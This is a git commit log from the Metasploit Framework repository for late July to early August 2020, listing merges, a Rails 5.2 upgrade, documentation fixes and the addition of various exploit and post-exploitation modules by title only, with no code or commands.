Spencer McIntyre 07ab8b294f Land #13957, allow dns server on different port 2020-08-07 16:15:17 -04:00
Metasploit 8cb1821717 automatic module_metadata_base.json update 2020-08-07 14:58:15 -05:00
bwatters 231ad83773 Land #13860,Mikrotik Processing
Merge branch 'land-13860' into upstream-master
2020-08-07 14:48:22 -05:00
Metasploit 2f9598e89a automatic module_metadata_base.json update 2020-08-07 11:58:40 -05:00
Spencer McIntyre 178ec83edc Land #13958, Dyn dns update fix 2020-08-07 12:48:45 -04:00
dwelch-r7 0d1f4c1d2e Land #13833, Add WrappedTable support with feature flag integration
Add WrappedTable support with feature flag integration
2020-08-07 17:18:09 +01:00
Alan Foster a1d7bb62a9 Add feature configuration persistence 2020-08-07 16:42:57 +01:00
Alan Foster d417f43b8d Add WrappedTable support with feature flag integration 2020-08-07 16:42:54 +01:00
Spencer McIntyre daf38ceb62 Land #13953, Skip CNAME records in DNS SRV parsing - Fix #13952 2020-08-07 09:41:24 -04:00
Spencer McIntyre 5e5922a1c4 Fix an overly indented block in credential_collection.rb 2020-08-07 09:02:32 -04:00
Robin Wood 0d6dcb6dc8 Update dyn_dns_update.rb
removed commit from other PR
2020-08-07 12:47:39 +01:00
Robin Wood 9ba8e3a803 Update dyn_dns_update.rb
Removed the deregistering of RPORT
2020-08-07 12:46:20 +01:00
Robin cc1614be72 checking reply when asking if record already exists 2020-08-07 12:25:13 +01:00
Robin 51f2261921 allow dns server on different port 2020-08-07 11:39:58 +01:00
Brendan Coles 2955a2f6ac Skip CNAME records in DNS SRV parsing - Fix #13952 2020-08-07 08:45:07 +00:00
gwillcox-r7 80889b2b86 Land #13949, Fix casting issue with the update mode in DBManager::Note's report_note function 2020-08-06 14:36:57 -05:00
gwillcox-r7 a8e77217b5 Land #13945, Updates for PsExec documentation 2020-08-06 12:34:16 -05:00
gwillcox-r7 7797a52bd2 Ninja edit for msftidy_docs.rb compliance purposes 2020-08-06 12:33:22 -05:00
Metasploit 7049c1aaf6 Bump version of framework to 6.0.1 2020-08-06 12:05:29 -05:00
Christophe De La Fuente 5b51c338fa Make sure mode is a symbol 2020-08-06 19:00:39 +02:00
Metasploit a0e1de9805 automatic module_metadata_base.json update 2020-08-06 11:35:09 -05:00
gwillcox-r7 d2b1d97b62 Land #13940, Compliance and Typo Edits for baldr_upload_exec 2020-08-06 11:25:31 -05:00
gwillcox-r7 2ca508c08e Further edits for RuboCop and msftidy_docs.rb compliance 2020-08-06 11:18:39 -05:00
gwillcox-r7 5c6530d9e5 Update module description and documentation to have a better description of what is going on and to also fix further copies of the typos that were pointed out. 2020-08-06 10:50:47 -05:00
Metasploit c49234fc48 automatic module_metadata_base.json update 2020-08-06 10:41:24 -05:00
Spencer McIntyre 06702abec0 Update the documentaiton for PsExec 2020-08-06 11:36:22 -04:00
Jeffrey Martin 35017886b8 Land #13935, Preliminary Version 6 2020-08-06 10:19:34 -05:00
Metasploit dacbc26c91 automatic module_metadata_base.json update 2020-08-06 08:56:47 -05:00
gwillcox-r7 63ca46bc0c Land #13844, Add Linux Container Enumeration Module 2020-08-06 08:46:17 -05:00
stealthcopter 2cb1eb9fb3 rubocop changes 2020-08-06 09:31:17 +01:00
gwillcox-r7 0e1ae86511 More RuboCop fixes... 2020-08-05 21:14:24 -05:00
gwillcox-r7 62d8c01899 Update documentation with newer output and fix some typos 2020-08-05 20:49:02 -05:00
gwillcox-r7 88e96bab22 Add in support so that if a command is specified, we store its results for the host in the loot. 2020-08-05 20:47:06 -05:00
gwillcox-r7 283aa6156c Fix a small typo on my side 2020-08-05 20:26:11 -05:00
gwillcox-r7 822ad64c62 Given that the current code skips the command execution part if a command is not supplied, there is no need to supply a default command. 2020-08-05 20:18:10 -05:00
gwillcox-r7 96215a586d Fix up code to appropriately handle cases where container_execute, list_running_containers_id, and list_containers might fail due to an invalid container type 2020-08-05 19:40:22 -05:00
gwillcox-r7 d27edb46d8 Add further corrections from review and update calls to count_containers so we properly print out the actual number of running containers and the number of total containers (logic was correct but order was backwards)) 2020-08-05 18:59:24 -05:00
gwillcox-r7 f1b7627f44 Apply RuboCop updates to the module. 2020-08-05 18:01:14 -05:00
gwillcox-r7 5f23462c78 Update documentation to add in a new scenario and to also explain scenario 2 a bit better 2020-08-05 17:55:28 -05:00
gwillcox-r7 9e7c353a2b Reorder some logic, replace some print_good statements with print_error, and generally make code changes to ensure that we print out if a container system exists on a target, but if we don't have permissions to list what its running that we alert the user of this and print a properly highlighted message that informs them of this, without storing information into any loot files 2020-08-05 17:46:18 -05:00
Metasploit 29050882a7 automatic module_metadata_base.json update 2020-08-05 17:14:42 -05:00
bwatters ba7f1ea486 Land #13897, Fix dangling reference issue in cve_2020_0688_service_tracing.rb
and filesystem.rb

Merge branch 'land-13897' into upstream-master
2020-08-05 17:04:15 -05:00
gwillcox-r7 7989005a12 Update 'runnable' command so that it can enumerate if container software is installed on the host even if the user isn't the 'root' user. 2020-08-05 16:38:39 -05:00
adfoster-r7 18b2c32c78 Land #13831, update to rails 5.2 2020-08-05 21:05:49 +01:00
gwillcox-r7 94d7d766c8 Land #13191, Add addtional sqlmap and jtr files to check_external_scripts.rb 2020-08-05 12:51:21 -05:00
gwillcox-r7 b524e5676f Apply RuboCop fixes to tools/dev/check_external_scripts.rb 2020-08-05 11:48:55 -05:00
gwillcox-r7 38e116d5be Add in fix to prevent us from having to clone the sqlmap project every time that we want to decloak another sqlmap file 2020-08-05 11:40:49 -05:00
gwillcox-r7 5460e35e84 Add in additional checks to the decloak() function to check if python or python3 is installed and to try both options, to try ensure the git repo is cloned correctly, and to make sure that operations complete successfully before moving onto the next one. Also added in fixes from review notes for minor issues. 2020-08-05 11:10:39 -05:00
bwatters 059c3cd091 Land #13939, Fix up lib/postgres/postgre-pr/message.rb's self.read function
to Avoid nil Errors After Calling stream.read_exactly_n_bytes

Merge branch 'land-13939' into upstream-master
2020-08-05 09:00:05 -05:00
Jericho 41e22992ff typo and touch-ups to desc
typo and touch-ups to desc
2020-08-04 16:59:57 -06:00
Spencer McIntyre 0e5dceb922 Add documentation for the Jupyter login scanner 2020-08-04 18:12:50 -04:00
Spencer McIntyre 1c8c3dd675 Add a Jupyter notebook / lab login scanner 2020-08-04 18:12:09 -04:00
gwillcox-r7 a92ffe4486 Fix logic bugs I introduced with my last fix 2020-08-04 16:20:49 -05:00
gwillcox-r7 be4d5d90bb Update fix to use 'if' statement rather than 'unless' as this makes more sense here. 2020-08-04 14:58:01 -05:00
Metasploit eab6bc303b automatic module_metadata_base.json update 2020-08-04 14:49:00 -05:00
bwatters fade2c76b5 Land #13904, Added Module: priviledged docker container escape
Merge branch 'land-13904' into upstream-master
2020-08-04 14:39:17 -05:00
gwillcox-r7 307dcc9b19 Add further checks to ensure that the 'type' value does not cause issues if it is 'nil' 2020-08-04 14:32:21 -05:00
gwillcox-r7 c196d9b733 Fix up lib/postgres/postgre-pr/message.rb and its self.read function so that it will handle cases where stream reads might not return any bytes at all, resulting in length being nil 2020-08-04 14:19:56 -05:00
bwatters f49bf7b09a Land #13894, unlock bcrypt
Merge branch 'land-13894' into upstream-master
2020-08-04 08:51:53 -05:00
h00die 41058775b3 add sharphound exe, rubocop, and final update run 2020-08-04 09:06:45 -04:00
adfoster-r7 ddd7a0db80 Land #13936, fix error message when a module is run with no selected payload 2020-08-04 13:51:39 +01:00
h00die 9663d3378f add sqlmap decloak 2020-08-04 08:48:30 -04:00
h00die dc5fefcb20 update sharphound and john 2020-08-04 08:48:23 -04:00
h00die 42b2f306d1 adding udf and john to external scripts 2020-08-04 08:46:47 -04:00
Metasploit bfd51c0034 automatic module_metadata_base.json update 2020-08-04 07:40:44 -05:00
adfoster-r7 2efcb8d5cd Land #13194, bloodhound cleanup 2020-08-04 13:32:01 +01:00
gwillcox-r7 8a156abdb4 Fix up ExploitError module inside exceptions.rb to properly propagate errors to the end user 2020-08-03 17:14:24 -05:00
Metasploit b1f902006d automatic module_metadata_base.json update 2020-08-03 14:22:50 -05:00
gwillcox-r7 6ed05df308 Land #13517, Documalis Free PDF Editor and Free PDF Scanner JPEG PDF Stack Buffer Overflow 2020-08-03 14:11:50 -05:00
gwillcox-r7 b64e843d9f Remove CVE reference for now until we can add in a proper CVE reference, fix some alignment issues for Notes section 2020-08-03 13:06:45 -05:00
Jeffrey Martin f69dedf40b update payload sizes for mettle 1.0.2 gem 2020-08-03 12:32:33 -05:00
h00die bed04f3529 h3 instead of bolds in docs 2020-08-03 13:08:39 -04:00
h00die 0ca7581b67 disk write method success 2020-08-03 13:08:39 -04:00
h00die 2dc04709e7 less privs needed 2020-08-03 13:08:39 -04:00
h00die dac3cbcbcd more options, more optimizations 2020-08-03 13:08:39 -04:00
h00die 498a94a9c0 bloodhound cleanup 2020-08-03 13:08:39 -04:00
gwillcox-r7 2fe92f9325 Land #13903, Allow OpenVAS handler to import vulns without references 2020-08-03 11:59:58 -05:00
Jeffrey Martin 7e67a9bf35 update to latest released payload gems 2020-08-03 11:47:53 -05:00
Jeffrey Martin 9aa26d1208 Merge upstream into 6.x 2020-08-03 11:43:47 -05:00
dwelch-r7 1bf75e338f delete commented out code 2020-08-03 17:34:49 +01:00
gwillcox-r7 513f2dac9b Add in Notes section to exploit 2020-08-03 11:00:17 -05:00
Jeffrey Martin dee523f9e7 load to mitigate first missing db connection
When calling `first` in Rails 5.2 the connection is not found
however by forcing the records to load with `to_a` which happens to
function correctly the call is then sent to `Array.first`
2020-08-03 10:51:18 -05:00
gwillcox-r7 b13b3b3d77 Add in a temp valid CVE number to see if that will get builds to pass or not 2020-07-31 17:49:14 -05:00
gwillcox-r7 8ad94e5484 Remove trailing new line at end of the line that was causing the last commit to fail for reasons other than the CVE being missing 2020-07-31 17:47:58 -05:00
gwillcox-r7 2d5fa912c3 Apply fixes to documentation to fix some errors and make it msftidy_docs.rb compliant. Also apply RuboCop updates to the module 2020-07-31 17:36:51 -05:00
gwillcox-r7 e355bc783c Update the module's description and title to be more accurate, and also remove the EDB field and replace it with a temporary CVE field 2020-07-31 16:07:33 -05:00
gwillcox-r7 96859ba492 Add in the proper instructions corresponding to the gadgets that we use for the SEH handler overwrite within the exploit 2020-07-31 15:50:49 -05:00
gwillcox-r7 907bedca34 Edit up the exploit to correct the size calculation logic so it correctly calculates the maximum size of the payload and ensures we don't overrun this. 2020-07-31 15:36:37 -05:00
Jeffrey Martin c43df01e9e remove stale comment 2020-07-31 12:03:12 -05:00
Jeffrey Martin 1fdcde9d03 adjust vuln logic as nil service should be valid 2020-07-31 11:57:43 -05:00
Jeffrey Martin 1e348e0a90 add root path of endpoints that accept :id in path
When requesting all records of a type :id is not supplied. A behavior change
in `sinatra` now report a `param` of the missing object with value `nil`.
Since this parameter would be used as a search term further down the stack and
most objects cannot have `:id` = `nil` exposing the additional path is needed.
2020-07-31 11:56:52 -05:00
Jeffrey Martin 8a86cad4a0 remove commented lines not needed 2020-07-31 11:56:52 -05:00
Jeffrey Martin 10e6c7a242 add missing fixture 2020-07-31 11:56:52 -05:00
Jeffrey Martin 0b65266ac1 adjust migration to proxy call to ActiveRecord
By adding proxy method the call to ActiveRecord::Migrator.migrations_paths
is decoupled from the migration task allowing more flexibility for the
underlying migration set selection to change in future Rails versions.
2020-07-31 11:56:51 -05:00
Jeffrey Martin ffee2a5a43 remove file no longer needed with rails 5 2020-07-31 11:56:51 -05:00
Jeffrey Martin 2c92d17ed9 refactor migration process for Rails 5
As noted in https://github.com/rails/rails/issues/36544 using
ActiveRecord migrations internally is not truly supported. This
workaround is valid for Rails 5 and might be easily adjusted
in Rails 6 although that is still TBD.
2020-07-31 11:56:51 -05:00
Jeffrey Martin 41776f093c adjust xml spec to use FactoryBot for workspace 2020-07-31 11:56:51 -05:00
Jeffrey Martin 89d010a533 remove rails_bigdecimal_fix with rails 5 bump 2020-07-31 11:56:50 -05:00
Jeffrey Martin 772a24cb25 enforce json_rpc_spec to treat db as disabled 2020-07-31 11:56:50 -05:00
Jeffrey Martin 54036d1f60 bump thread allowed by rspec, needs investigation 2020-07-31 11:56:50 -05:00
Jeffrey Martin 5d1c4dafa1 begin adjust migrations and remove old test
removed connection tests are from rails 3 expectations
2020-07-31 11:56:50 -05:00
Jeffrey Martin aeb6247e8e adjust vuln connection boundaries for rails 5 2020-07-31 11:56:50 -05:00
Jeffrey Martin d13c463421 Rails 5 file validator need guard for nil 2020-07-31 11:56:49 -05:00
Jeffrey Martin 07cbe426e2 Rails 5, all models inherit from ApplicationRecord
ApplicationRecord is a new superclass for all app models, analogous to app controllers subclassing ApplicationController instead of ActionController::Base. This gives apps a single spot to configure app-wide model behavior.
https://edgeguides.rubyonrails.org/upgrading_ruby_on_rails.html#active-record-models-now-inherit-from-applicationrecord-by-default

Deprecated Relation#uniq use Relation#distinct instead.
https://edgeguides.rubyonrails.org/5_0_release_notes.html#active-record-deprecations
2020-07-31 11:56:49 -05:00
Jeffrey Martin 8fac591f7a rails 5.2 update 2020-07-31 11:56:42 -05:00
María Belén Tualombo Chimbo 372a0be0e1 minor changes 2020-07-31 10:47:37 -04:00
María Belén Tualombo Chimbo 091481b783 changes requested for the conditionality system for module OPTIONS/ACTIONS/TARGETS 2020-07-31 10:44:12 -04:00
María Belén Tualombo Chimbo 938173feb3 [GSoC] Ev1 - Conditionality system for module OPTIONS/ACTIONS/TARGETS 2020-07-31 10:28:21 -04:00
Metasploit d951c37e6f automatic module_metadata_base.json update 2020-07-31 08:17:38 -05:00
Spencer McIntyre a32d4c2a20 Land #13875, CVE-2020-8010 & CVE-2020-8012 2020-07-31 09:08:36 -04:00
Spencer McIntyre 2fb89f47c2 Apply suggestions from msftidy_docs for nimcontroller_bof 2020-07-31 09:08:13 -04:00
Metasploit 37e0c7d017 Bump version of framework to 5.0.102 2020-07-30 12:02:52 -05:00
stealthcopter 10e591ae24 Randomized exploit filenames 2020-07-30 17:35:30 +01:00
stealthcopter f424887536 Using upload_and_chmodx function and linting 2020-07-30 17:04:45 +01:00
stealthcopter ad80baa71e Added loot and lxc table formatting 2020-07-30 16:52:41 +01:00
gwillcox-r7 b6bce114ea Add in further edits to the library code to remove the possiblity of dangling handles and also update the module code accordingly. 2020-07-30 10:45:19 -05:00
h00die d366666418 add Mikrotik SwOS 2020-07-30 11:29:25 -04:00
Spencer McIntyre a7274afd46 Add an optional delay when executing PSExec commands 2020-07-30 09:45:22 -04:00
Tim W 0b513d6c51 remove debug logging from the kernel exploit 2020-07-30 18:10:26 +08:00
Tim W 277d7dcff2 add debug logging to javascript exploit 2020-07-30 17:38:59 +08:00
Spencer McIntyre 2382d7530c Land #13900, Add Packet::Header#include? to check for the presence of headers in a case-insensitive manner 2020-07-29 18:36:24 -04:00
Spencer McIntyre 15eeceef1f Land #13921, make default prompt always display running major # 2020-07-29 17:40:02 -04:00
Metasploit c4057f161e automatic module_metadata_base.json update 2020-07-29 16:20:57 -05:00
gwillcox-r7 2ef43ab7d0 Land #13920, CVE-2020-1147 SharePoint Deserialization RCE 2020-07-29 16:10:32 -05:00
gwillcox-r7 17c26b098b Ninja edit to make sure that if we fail to authenticate to the server, we return CheckCode::Unknown rather than CheckCode::Safe 2020-07-29 16:08:51 -05:00
Spencer McIntyre 4fa657d6eb Fix a bunch of documentation typos and minor code cleanups 2020-07-29 16:30:44 -04:00
Metasploit 528b294536 automatic module_metadata_base.json update 2020-07-29 14:50:42 -05:00
Spencer McIntyre a886177b96 Land #13837, Add FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation module 2020-07-29 15:40:47 -04:00
Jeffrey Martin 0bd2a295d0 make default prompt always display running major # 2020-07-29 11:40:37 -05:00
Spencer McIntyre 7af4297e86 Add the exploit for CVE-2020-1147 2020-07-29 11:58:38 -04:00
Metasploit 2cc1373a5f automatic module_metadata_base.json update 2020-07-28 17:31:21 -05:00
Shelby Pace 18b5ddbfdc Land #13891, add Baldr file upload rce 2020-07-28 17:20:21 -05:00
Shelby Pace 768d104f12 randomize os, delete payload 2020-07-28 17:19:26 -05:00
Metasploit d4057f5f27 automatic module_metadata_base.json update 2020-07-28 17:10:15 -05:00
gwillcox-r7 d7a27b7cd8 Land #13878, Add Telegram Message Client 2020-07-28 16:58:05 -05:00
Shelby Pace 99cf54977f rubocop 2020-07-28 16:48:32 -05:00
Shelby Pace c79c9fc280 reverse xor arguments 2020-07-28 16:47:35 -05:00
gwillcox-r7 8c560f81e8 Apply msftidy_docs.rb fixes to the documentation and fix two minor captialization issues 2020-07-28 16:25:24 -05:00
gwillcox-r7 e89bae5b51 Apply RuboCop module changes. Also update documentation file to remove some extra small sections that are not needed, and also to move the documentation from the module to the proper documentation file. 2020-07-28 16:14:29 -05:00
gwillcox-r7 50853fe109 Make improvements from recommendation and also update the module's documentation so its more intutitive for people not familiar with Telgram's bots 2020-07-28 15:41:05 -05:00
h00die 94e36a2160 Land #13896, updates to msftidy_docs and ERB for doc generation 2020-07-28 15:39:00 -04:00
Spencer McIntyre 428ce72108 Use colon instead of em-dash and add a URL comment to the doc template 2020-07-28 08:49:57 -04:00
Ege Balcı 26f869f860 Update modules/exploits/multi/http/baldr_upload_exec.rb 2020-07-28 11:07:46 +03:00
Ege Balcı fb745f78cc Update modules/exploits/multi/http/baldr_upload_exec.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-07-28 10:53:16 +03:00
Ege Balcı 5d49367726 Update modules/exploits/multi/http/baldr_upload_exec.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-07-28 10:52:37 +03:00
Ege Balcı fef9a23692 Update modules/exploits/multi/http/baldr_upload_exec.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-07-28 10:51:03 +03:00
Tim W 5566e3b4bc use platform-signed exec binary by default 2020-07-28 14:25:04 +08:00
Metasploit d631448cbe automatic module_metadata_base.json update 2020-07-27 15:34:17 -05:00
Spencer McIntyre 189db5ec7e Land #13914, move config_changes on plex module 2020-07-27 16:24:27 -04:00
h00die 5a40c6dc00 move config_changes 2020-07-27 15:35:05 -04:00
Niboucha Redouane f48ed5027f test #call_function, and not methods that might be implemented on specific DBMS only 2020-07-27 16:38:07 +02:00
Metasploit 0202b78fd9 automatic module_metadata_base.json update 2020-07-27 09:19:42 -05:00
Spencer McIntyre 50281473f1 Remove tests for removed functions 2020-07-27 09:57:41 -04:00
William Vu c6fd9a4b08 Land #13895, SAP RECON CVE-2020-6287 improvements 2020-07-27 08:51:16 -05:00
Tim W 79adcf7904 Add module for iOS 7.1.2 2020-07-27 15:05:31 +08:00
Niboucha Redouane 89fef9f9fe Refactor and fix some specs, avoid sleeping in time-based shared examples 2020-07-27 03:15:16 +02:00
Spencer McIntyre 7d6f307811 Merge branch 'feat/mod-docs-info' into feat/tidy-docs 2020-07-26 13:18:36 -04:00
Spencer McIntyre 9ba9690c14 Put more information into the generated module docs 2020-07-26 13:14:16 -04:00
stealthcopter f4ae295572 added autocheck mixin 2020-07-26 10:10:13 +01:00
Matthew Rollings be1fa2ae95 Update modules/exploits/linux/local/docker_privileged_container_escape.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-26 09:44:51 +01:00
Matthew Rollings 0533167418 Update modules/exploits/linux/local/docker_privileged_container_escape.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-26 09:44:38 +01:00
Matthew Rollings ce22c58a1d Update modules/exploits/linux/local/docker_privileged_container_escape.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-26 09:44:21 +01:00
Matthew Rollings 140bf04d87 Update modules/exploits/linux/local/docker_privileged_container_escape.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-26 09:44:07 +01:00
Matthew Rollings f379f56b86 Update documentation/modules/exploit/linux/local/docker_priviledged_container_escape.md
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-26 09:43:58 +01:00
Brendan Coles 95b99ce5cf Use Msf::Exploit::Remote::AutoCheck 2020-07-26 08:04:37 +00:00
Brendan Coles 0ac11a58da Remove indentation 2020-07-26 08:04:37 +00:00
Brendan Coles 476281d4bd Use Msf::Post::Unix.is_root? 2020-07-26 08:04:37 +00:00
Brendan Coles cbbd4fc517 Add CVE-2020-7457 exploit.c 2020-07-26 08:04:37 +00:00
Brendan Coles fbc77f7576 Add FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation module 2020-07-26 08:04:37 +00:00
Metasploit 016e2bdf15 automatic module_metadata_base.json update 2020-07-26 00:48:33 -05:00
Brendan Coles b855b80d9f Land #13899, Ensure sudo password is removed from filesystem after use
post/multi/manage/sudo: Use `register_file_for_cleanup` to ensure the clear
text sudo password is removed from the temporary file created in `/tmp/`.
2020-07-26 05:36:54 +00:00
Brendan Coles 09a766aed6 Land #13898, Fix error handling when an invalid API_KEY is specified
post/multi/gather/wlan_geolocate: Fix an issue where the API error
message is not parsed correctly when an invalid `API_KEY` is passed
to the geolocation API.
2020-07-26 04:38:25 +00:00
stealthcopter c2729841cc Linted and added better message when no containers found 2020-07-25 12:29:37 +01:00
stealthcopter 09994b3e51 Typos in readme 2020-07-25 12:17:56 +01:00
stealthcopter 3d3dcc503f Added docker priviledged container escape 2020-07-25 12:14:30 +01:00
Brent Cook 3887fb41b1 Allow OpenVAS import to import vulns without references.
Local scanning didn't show any results that had CVEs or BIDs, which the default OpenVAS import logic skips. This modifies the importer to allow for importing vulns even if they do not have references.
2020-07-25 03:18:39 -05:00
Spencer McIntyre 65f9b62c52 Initial outline of module doc info template 2020-07-24 18:09:52 -04:00
wetw0rk 8421b1a956 fixes, and format 2020-07-24 15:50:00 -05:00
gwillcox-r7 35e48c83bb Add in call to session.fs.dir.rmdir() in library code and in the module as sometimes the file might not be deleted otherwise. 2020-07-24 15:39:19 -05:00
Niboucha Redouane 3028e58589 Overload #include? to check the presence of HTTP headers in a case-insensitive manner 2020-07-24 18:29:50 +02:00
Ron Wills 2e84c6ea18 Used more appropriate api 2020-07-24 10:28:07 -06:00
Ron Wills 6592a0cc53 Clean up the temperary script with the clear text password in it
Removed the old unused clean up code
2020-07-24 10:16:52 -06:00
Tim W ac9c6174c6 fix #13779, fix error on invalid geolocation api key 2020-07-24 14:33:08 +08:00
Ege Balcı 7985eafda0 Add Baldr Botnet Panel RCE Module 2020-07-24 07:45:43 +03:00
gwillcox-r7 b5b8630a5b Fix minor RuboCop mistake 2020-07-23 22:11:51 -05:00
gwillcox-r7 88c10de36f Add in proposed changes to cve_2020_0688_service_tracing.rb and filesystem.rb so that we can properly create mount points without dangling handle references 2020-07-23 21:44:18 -05:00
Spencer McIntyre 73cace16a3 Add checks to msftidy_docs and update the template for them 2020-07-23 20:37:39 -04:00
Spencer McIntyre 13d7c5445a Address rubocop complaints 2020-07-23 18:10:07 -04:00
Spencer McIntyre dc0f254c0e Update the module docs for CVE-2020-6287 2020-07-23 18:02:43 -04:00
Spencer McIntyre ff4db5daea Add the REMOVE action to the exploit for CVE-2020-6287 2020-07-23 17:59:40 -04:00
Jeffrey Martin f7fb147e59 unlock bcrypt
The latest released bcrypt gem now compiles on arm 32-bit.
2020-07-23 16:33:45 -05:00
Spencer McIntyre 68614bcc3b Add check functionality for CVE-20220-6287 2020-07-23 14:46:06 -04:00
Metasploit 1bd4a8d752 Bump version of framework to 5.0.101 2020-07-23 12:07:28 -05:00
Niboucha Redouane 854df7e93b Add shared examples for SQLi::Common, and some tests for MySQLi 2020-07-23 18:54:20 +02:00
Metasploit 43575e91c8 automatic module_metadata_base.json update 2020-07-23 11:44:11 -05:00
William Vu 13a4339274 Land #13861, intel_sysret_priv_esc AutoCheck && cc 2020-07-23 11:34:30 -05:00
Metasploit 88809873f6 automatic module_metadata_base.json update 2020-07-23 11:31:56 -05:00
William Vu a89c966bbc Land #13852, SAP "RECON" CVE-2020-6287 aux module 2020-07-23 10:30:36 -05:00
William Vu e06511cb42 Land #13883, syntax error fix in Hardware Bridge 2020-07-23 10:07:33 -05:00
Spencer McIntyre e0046ef8f2 Randomize unnecessary values and set the secure attribute 2020-07-23 10:47:53 -04:00
wetw0rk 938342793e removed vuln-confirmation 2020-07-23 09:46:13 -05:00
William Vu 93df021c4a Land #13884, Linux::Priv#download_cmd removal 2020-07-23 09:36:39 -05:00
wetw0rk dbd6129ec4 if-vuln-check 2020-07-23 09:32:04 -05:00
Spencer McIntyre d108cd0da9 Address feedback for consistency within CVE-2020-6287 2020-07-23 10:31:46 -04:00
Metasploit 613c37f9d8 automatic module_metadata_base.json update 2020-07-23 08:59:44 -05:00
Brendan Coles 2379194ed0 Land #13886, post/multi/manage/sudo support password with shell metacharacters 2020-07-23 14:10:13 +00:00
Spencer McIntyre 593ddd8ac4 Add module docs for CVE-2020-6287 2020-07-23 09:47:22 -04:00
Ron Wills 6be25a00b6 Replaced file creation from shell script to the Msf::Post::File native API
Cleanup of the previous commit
2020-07-23 07:04:20 -06:00
Ron Wills 14d484aac0 Replaced file creation from shell script to the Msf::Post::File native API 2020-07-23 06:21:17 -06:00
Ron Wills eff9c9b914 Fixed shell script creation with passwords with special characters 2020-07-22 20:09:15 -06:00
Spencer McIntyre 2364b3f46c Fix the remaining rubocop issues for CVE-2020-6287 2020-07-22 19:18:42 -04:00
Spencer McIntyre 7b781ca12f Report a vuln in the CVE-2020-6287 module and fix xpath comparisons 2020-07-22 18:29:55 -04:00
Spencer McIntyre 2d43da2a39 Apply rubocop fixes for CVE-2020-6287 2020-07-22 18:04:11 -04:00
Spencer McIntyre ec9ee2baa7 Complete the exploit with privilege escalation through a role 2020-07-22 17:57:39 -04:00
William Vu bbb683f8c8 Land #13885, LDAPS support and updated modules 2020-07-22 16:48:26 -05:00
William Vu 2d6d2a811d Update module docs with Net::LDAP warning 2020-07-22 16:38:34 -05:00
William Vu 8e94fd55db Force OpenSSL::SSL::VERIFY_NONE
Thanks, @HynekPetrak!
2020-07-22 16:33:37 -05:00
William Vu 8528a62691 Update module docs 2020-07-22 15:45:26 -05:00
William Vu f601c49ba9 Default to LDAPS in vCenter Server vmdir modules 2020-07-22 15:40:10 -05:00
Metasploit 15ffea8467 automatic module_metadata_base.json update 2020-07-22 14:25:56 -05:00
William Vu f736b0192f Add LDAPS support and update vCenter vmdir modules 2020-07-22 14:23:00 -05:00
Shelby Pace 3dbb63241c Land #13853, bpf signed ext privesc improvements 2020-07-22 14:09:17 -05:00
William Vu 41457b21d9 Land #13868, vCenter vmdir CVE-2020-3952 hash dump 2020-07-22 14:00:44 -05:00
William Vu 3eb9bda8c5 Update module docs one final time
No need to show the test creds. Output is consistent now.
2020-07-22 13:24:55 -05:00
William Vu 797b22c41a Update module docs after recent changes 2020-07-22 12:47:21 -05:00
William Vu 903abd2110 Print the cleaned password and lockout policy
Don't be lazy!
2020-07-22 12:33:33 -05:00
William Vu 84c6b752ea Fix typo 2020-07-22 10:52:24 -05:00
Brendan Coles d986d27218 Remove Msf::Post::Linux::Priv.download_cmd 2020-07-22 15:45:50 +00:00
Brendan Coles 2f7cce9e41 hwbridge: fix syntax error introduced in aeed81de29 2020-07-22 15:30:47 +00:00
Metasploit 941dd6e6ec automatic module_metadata_base.json update 2020-07-22 09:53:34 -05:00
Shelby Pace bf4d0bf6ee Land #13828, add Zentao Pro rce 2020-07-22 09:42:11 -05:00
Shelby Pace be95c0e17e include autocheck 2020-07-22 09:40:25 -05:00
Shelby Pace 6c066a97ed add bcoles suggestions 2020-07-22 09:39:17 -05:00
Hynek Petrak 5458dcaa12 Merge pull request #2 from h00die/13868
add cracking support for dynamic_82
2020-07-22 16:28:55 +02:00
dwelch-r7 8272d556e6 Put in debug mode for initial land 2020-07-22 12:50:11 +01:00
Metasploit e2a8560ae0 automatic module_metadata_base.json update 2020-07-22 04:35:21 -05:00
adfoster-r7 a7e12bfa50 Land #13822, update to the latest rubocop version 2020-07-22 10:18:31 +01:00
adfoster-r7 d34ab2bd98 Land #13859, remove fail_with call from exim4_deliver_message_priv_esc check method 2020-07-22 10:16:45 +01:00
Ege Balcı f5e950cb75 Telegram Notification Module 2020-07-22 08:48:01 +03:00
h00die 83540f3a37 deleted variable 2020-07-21 19:33:31 -04:00
h00die a4c38a2be6 use libraries 2020-07-21 19:22:38 -04:00
h00die 5d5ee4da36 add cracking support for dynamic_82 2020-07-21 18:59:31 -04:00
adfoster-r7 7c60f1cae8 Land #13873, return sooner from the check command if the module does not implement a check method 2020-07-21 23:10:08 +01:00
dwelch-r7 8713313aca Add a stale bot for dealing with stale issues 2020-07-21 23:08:42 +01:00
Brent Cook 77526bd6f4 Merge pull request #23 from adfoster-r7/update-json-rpc-process-request-error-handling
Update json rpc process request error handling
2020-07-21 16:21:14 -05:00
Alan Foster 632f1a1205 Update json rpc process request error handling 2020-07-21 18:39:02 +01:00
William Vu d85e569705 Refactor for future hash types 2020-07-21 12:02:30 -05:00
wetw0rk 3d0a7313ef nimsoft sploit 2020-07-21 11:19:23 -05:00
William Vu a91a14441d Add source reference for "-" meta-attribute
Hat tip Hynek for https://github.com/vmware/lightwave.
2020-07-21 11:01:01 -05:00
William Vu 08a89d7e71 Add additional error checking 2020-07-21 09:55:33 -05:00
William Vu da709b1ee4 Update module doc 2020-07-21 09:38:54 -05:00
Metasploit e216d343c2 automatic module_metadata_base.json update 2020-07-21 09:29:11 -05:00
adfoster-r7 e37b27d3bd Landing #13874, fix false positive authentication error with shodan search module 2020-07-21 15:19:30 +01:00
Hynek Petrak 93ce10f511 fix unpacking userpassword entry 2020-07-21 11:23:58 +02:00
William Vu 5f5a2e7508 Refactor code (untested) 2020-07-21 01:09:46 -05:00
Brent Cook 93c96209c0 Merge pull request #22 from wvu-r7/pr/13873
Fix RPC support by raising instead of returning when checking for check
2020-07-20 14:22:15 -05:00
